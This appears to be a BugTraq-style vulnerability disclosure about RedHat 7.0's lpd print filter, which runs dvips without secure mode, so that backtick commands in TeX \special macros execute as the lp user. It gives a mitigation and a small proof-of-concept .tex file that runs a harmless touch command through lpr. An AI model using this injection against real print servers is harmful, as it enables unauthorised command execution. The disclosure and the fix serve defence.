(posted to vendor security ppl, no reply, no patch, so posting here.)
--begin forwarded message--
RedHat 7.0 (possibly others)
If the lpd is listening on 0.0.0.0 and no access controls are in place, it
is possible to execute commands as the lp user, assuming tetex-dvips is
installed.
From man dvips
...
-R Run in secure mode. This means that ``backtick''
commands from a \special{} or \psffile{} macro in
the (La)TeX source like \special{psfile="`zcat
foo.ps.Z"} or \psffile[72 72 540 720]{"`zcat
screendump.ps.gz"} are not executed.
...
Unless the -R option is passed, the attached file will, when converted to
a .dvi file (tex spool.tex), start a worm. A very primitive, proof of
concept worm, with no payload, but it does stall the printer.
(So don't run it without at least modifying it to do something else.)
/usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi
...
dvips -f $DVIPS_OPTIONS < $TMP_FILE
...
change it to
...
dvips -R -f $DVIPS_OPTIONS < $TMP_FILE
...
and it should be a little safer.
-- zen-parse
--end forwarded message--
I deleted the worm file before posting this to BugTraq. It's 2 lines of
bash, but not really the kind of thing that is helpful to post here.
-rw-r--r-- 1 evil evil 152 Aug 16 16:37 spool.tex
Instead, use this to test your machine.
cat >proof-of-concept.tex <<EOF
\special{psfile="`touch /tmp/lpowned"}
\end
EOF
tex proof-of-concept
lpr proof-of-concept.dvi
-- zen-parse
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